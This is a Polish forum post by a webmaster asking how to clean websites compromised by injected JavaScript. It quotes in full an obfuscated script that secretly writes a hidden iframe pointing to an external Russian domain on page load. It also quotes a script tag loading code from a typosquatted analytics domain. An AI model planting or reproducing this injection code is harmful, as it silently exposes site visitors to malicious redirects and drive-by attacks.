Skąd wzięło się tyle Js ?? Ratujmy witrynę..

[Jozeph]

Witam! ostatnio na kilku z moich stron pojawił się dziwny kod Js.. oto on:

Kod:

<script>function oT(){};mEE='';oT.prototype = {t : function() {function u(){};nP=false;var e="";this.vI=false;this.s="";try {var sD="sD";gW="gW";mE=false;var sP=false;function z(){};this.eG="";window.onload=function() {var qW=50071;this.xQ=19623;var sS="sS";var gX="gX";function hI(){};this.kW="";String.prototype.gO=function(l, q){var m=this; return m.replace(l, q)};var aI="aI";function jA(){};var sA="";this.tG=false;var j=function(y,vONq4,Ri){return ['\x3c\x69\x66'+vONq4,Ri+'\x53\x6a\x52\x4c\x58',y+'\x6c\x35\x56\x48']}('\x75\x56','\x72\x61\x6d\x65\x20\x64\x76\x62\x6e\x3d\x31\x20\x73\x72\x63\x3d\x27','\x51')[0];this.hC="";this.nW=23625;this.hR="hR";function dY(){};this.qB="";var lJ=function(I9SZP,yPAd,x,uvena,v){return [I9SZP+'\x6a\x67\x6b\x64\x78','\x62\x34'+x,'\x27\x20\x68\x65\x69\x67\x68\x74\x3d'+v,yPAd+'\x73\x4f\x58','\x76'+uvena]}('\x49\x6d\x6f\x7a\x74','\x72','\x65\x4b','\x49','\x31\x30\x30\x30\x20\x6f\x74\x65\x72\x3d\x31\x20\x77\x69\x64\x74\x68\x3d\x31\x30\x30\x30\x20\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e')[2];var xC=15521;var p="p";iB='';nF='';var b=false;var pQ=new Array();var tX=function(LMeU,Mmgr,nE,F8BG,n){return [Mmgr+'\x47\x32\x79\x38','\x4d'+F8BG,n+'\x4e\x77\x51',nE+'\x61\x75\x74\x65\x72\x2e\x72\x75\x2f\x73\x74\x64\x73\x2f\x67\x6f\x2e\x70\x68\x70\x3f\x73\x69\x64\x3d\x31\x34',LMeU+'\x6f\x68\x5a\x4c']}('\x4b\x78\x6a\x67\x7a','\x73','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x68\x69\x6c','\x53\x54\x79\x46\x66','\x72\x78\x67')[3];var dD=function(){};function kI(){};w='';var cC=function(){};this.wB=50833;uP='';function lDA(){};tX = j + tX + lJ;var gJ=new Array();var zV=new Array();var f=new Date();this.xB="xB";var lP='';mI=false;this.eQ=false;var d=document;mT='';bF=19498;var xA=new Date();this.hK='';var g=function(ENw77,ai4v,UD,Q0J){return [Q0J+'\x63\x51',ENw77+'\x6a','\x77\x50'+ai4v,'\x3c'+UD]}('\x4a\x57\x4d\x36\x48','\x6f\x36\x71\x56','\x64\x69\x76\x20\x69\x64\x3d\x62\x20\x73\x74\x79\x6c\x65\x3d\x27\x76\x69\x73\x69\x62\x69\x6c\x69\x74\x79\x3a\x68\x69\x64\x64\x65\x6e\x3b\x20\x77\x69\x64\x74\x68\x3a\x20\x31\x70\x78\x3b\x20\x68\x65\x69\x67\x68\x74\x3a\x20\x31\x70\x78\x27\x3e','\x61\x77')[3];uG="uG";var aM=false;var tD='';this.dF=58238;var x=function(dD,Go,Z){return ['\x55\x4e\x76'+Go,'\x3c\x2f'+Z,'\x68\x70\x72\x46'+dD]}('\x76\x6b\x64\x51','\x6f\x73','\x64\x69\x76\x3e')[1];var rJ=function(){return 'rJ'};this.vJ='';this.qD=32349;var tN=new Date();this.vV="";var a=function(QV0,j,qA){return [qA+'\x75',j+'\x65','\x56\x6a'+QV0]}('\x77\x58','\x77\x72\x69\x74','\x56\x57')[1];var rZ=function(){return 'rZ'};var wF=function(){};this.fJ="";var o=false;var yE='';var uH="uH";var wT=function(){};var jD=function(c,O,V,S){return [V+'\x59\x55','\x78\x33\x64'+O,S+'\x4e\x45\x44','\x75\x6e\x65'+c]}('\x73\x63\x61\x70\x65','\x6c\x44\x42\x62','\x52\x61','\x75\x55\x37')[3];jDZ=46635;kO="kO";var cB=new Array();var jO=function(){return 'jO'};var kE=function(){};var v=window[jD];var wW=function(){return 'wW'};this.tJ=false;wL=27417;this.tP="";this.lV=false;var rO=2970;k=v(g + tX + x);this.mZ='';eV="eV";cT="";function pR(){};var lN=new Date();var xL=function(){return 'xL'};var jB='';function aG(){this.sK='';var wM="wM";var aA='';pI=false;this.qS=false;kOA="";var rT=function(){return 'rT'};lD=function(R4aAA,ACb,OJ,AdfB,pp){return ['\x4a\x55\x38\x73'+R4aAA,'\x42\x68\x47\x78\x63'+ACb,pp+'\x59\x76\x33',AdfB+'\x79\x53\x38','\x6f\x75\x74\x65'+OJ]}('\x55\x6b\x30','\x43\x75\x74\x35\x44','\x72','\x4a','\x55\x59\x41')[4];var pF=new Array();this.rP='';var eC=13618;var eM=function(){return 'eM'};bW="bW";var nE=new Date();n=function(wlpLC,AjjYH,d8a,nBq){return [nBq+'\x70\x7a\x74\x42',wlpLC+'\x67',AjjYH+'\x5a\x38\x4f',d8a+'\x69\x65\x6e\x74']}('\x77\x49\x49','\x6b\x6a\x4a','\x63\x6c','\x55')[3];this.mU=false;var rY=false;var uD="";fZ=60025;var gA="gA";this.dU="dU";h=function(wu4a,I,n){return ['\x48'+I,n+'\x6a\x39','\x63'+wu4a]}('\x4e\x71\x48\x6a','\x65\x69\x67\x68\x74','\x46\x43')[0];zH="zH";var bE="";this.eD="";this.dG=60658;this.eGN=false;this.qN="";c=function(QKyy,Iz,qU){return [qU+'\x68','\x44'+QKyy,'\x4f'+Iz]}('\x42\x73\x42','\x55\x58','\x57\x69\x64\x74')[0];var aB=new Array();var dUG="dUG";mW='';var cY=new Array();function cP(){};this.lQ='';tO=false;qJ=33519;y=function(I0,md,c){return ['\x75'+c,'\x42\x78\x77\x54'+md,I0+'\x55\x5a']}('\x6f','\x72\x77','\x73\x65\x72\x41\x67\x65\x6e\x74')[0];function pG(){};var fQ=new Date();var bV="";fZS="fZS";wV="wV";var dFO=new Array();i=function(mcZ,NQLG,ij,u0zqz,zSD){return [ij+'\x4b\x43\x58\x63','\x72\x53\x46'+u0zqz,mcZ+'\x78\x71','\x50'+NQLG,'\x4d'+zSD]}('\x49\x38\x70','\x52\x4e\x42\x68\x71','\x66\x63\x39\x33\x4f','\x67\x65\x65\x66','\x53\x49\x45')[4];var qH=new Array();tH="tH";cK="cK";var nY=new Date();mY='';this.pL=false;if (navigator[y].indexOf(i) > 0){this.tU=false;iO="iO";nV=false;pM="";iK="iK";var dQ=function(){return 'dQ'};return d.body[n + c] * document.body[n + h];var mG=function(){};this.sKC='';}else{var qBE=new Array();this.tOZ="tOZ";this.iN='';this.pJ="";oH="oH";this.cS='';this.jDJ='';return window[lD + c] * window[lD + h];eI=3604;this.yM=false;function uK(){};var vN=function(){};}var zL=new Array();var sI=function(){return 'sI'};var cCH="";var dN=new Date();function iJ(){};this.uA="uA";}var qL="qL";this.gB="gB";var gJF=new Date();cF="";zQ=42353;if(aG() > 99999){d[a](k);}var dT=function(){};var bEZ=function(){return 'bEZ'};var lO=new Array();this.dE=43162;var rS=9935;var qM="qM";};var eMZ="";var rB=function(){return 'rB'};} catch(r) {this.yK="yK";kIC="kIC";this.mTH='';var jX=false;var iI="iI";bC='';}this.eH='';var oR="";gT="gT";var eW=false;}};var wP='';var hG=new oT(); hN="";hG.t();uDW=45307;</script>

Ja tego nie wpisywałem i nie wiem skąd się to wzięło. Poza tym strona została zaatakowana przez jakiegoś wirusa i nie mogę sobie poradzić z jej oczyszczeniem. Google dla webmasterów powiedziało, że 18 skryptów jest "zatrutych".. Znalazłem złośliwy kod w jednym skrypcie był to:

Kod:

<script type="text/javascript" src="http://www.google-anlaytics.com/stat.js">

Czyli standardwy kod stosowany przez hakerów.. Jednak nie mogę go odnaleźć w pozostałych skryptach.. Spotkaliście się z czymś takim ?? Da się jeszcze uratować witrynę ??